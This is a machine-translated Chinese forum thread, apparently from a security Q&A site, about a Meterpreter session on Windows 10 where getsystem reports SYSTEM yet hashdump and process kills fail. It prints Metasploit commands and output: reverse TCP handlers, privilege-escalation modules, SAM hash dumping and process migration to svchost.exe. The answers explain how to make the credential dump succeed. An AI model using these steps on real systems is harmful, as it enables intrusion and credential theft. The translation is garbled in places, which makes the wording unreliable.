获得权限升级但没有使用 Metasploit 的权限

信息安全 视窗 开发 元数据 特权升级 计程器
2021-08-17 14:23:41

我面临一个非常奇怪的问题。我已经成功地使用 Shellter 和 Meterpreter_Reverse TCP 弹出了一个盒子。

这是系统信息:

meterpreter > sysinfo
Computer        : ********
OS              : Windows 10 (Build 14393).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 4
Meterpreter     : x64/windows

现在奇怪的是当我输入:

meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

它说我已经获得了 NT 授权,但是当我输入:

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeAssignPrimaryTokenPrivilege
  SeChangeNotifyPrivilege
  SeCreateGlobalPrivilege
  SeDebugPrivilege
  SeImpersonatePrivilege
  SeSystemProfilePrivilege
  SeTcbPrivilege

这些只是我得到的特权。不是全部。如果我尝试使用 hashdump :

meterpreter > hashdump
[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

另外,我已经迁移到另一个 NT 授权进程,在这种情况下( svchost.exe )

如果我尝试运行任何后台本地漏洞利用,则表明系统已经提升。

msf exploit(ms16_032_secondary_logon_handle_privesc) > run

[*] Started reverse TCP handler on 192.168.0.100:4444
[-] Exploit aborted due to failure: none: Session is already elevated

此外,如果我尝试使用“ASK”漏洞获取特权,会发生以下情况:

msf exploit(ask) > run

[*] Started reverse TCP handler on 192.168.0.100:4444
[+] UAC is not enabled, no prompt for the user
[*] Uploading eobKMikmOsnWp.exe - 73802 bytes to the filesystem...
[*] Executing Command!

它只是冻结,受害者计算机上没有任何提示。

还有我尝试运行的任何命令,它只会给我一个错误,指出我无权访问:

meterpreter > kill 7744
Killing: 7744
[-] stdapi_sys_process_kill: Operation failed: Access is denied.

我完全无法理解这里到底发生了什么?它说我已经获得了系统的访问权限,但我仍然无法做任何事情?

为什么?

任何帮助,将不胜感激。

2个回答

目标是否使用 EMET?具体来说,应用程序白名单?另外,任何类型的AV?

另外,可能是因为您没有设置会话,而 hashdump 和 getsystem 都依赖该会话。它还可能阻止您获得交互式外壳!:

https://www.offensive-security.com/metasploit-unleashed/john-ripper/ https://www.offensive-security.com/metasploit-unleashed/privilege-escalation/

最后,您可以使用meterpreter 以外的有效负载(例如通过msfvenom 生成)吗?

正如 OP 所述,在最初将 privs 升级到系统后,我收到了相同的错误/输出。

meterpreter > hashdump 
[-] 2007: Operation failed: The parameter is incorrect.

我记得在漏洞利用期间,有输出说记事本被用来启动它。所以我跑了getpidps看看我目前的流程是什么。

原来我还在以notepad.exe. 我决定尝试使用meterpreter 中的迁移工具并转移到svchost.exe 进程。前任migrate 500 ..

迁移成功完成后,我能够像往常一样运行 hashdump。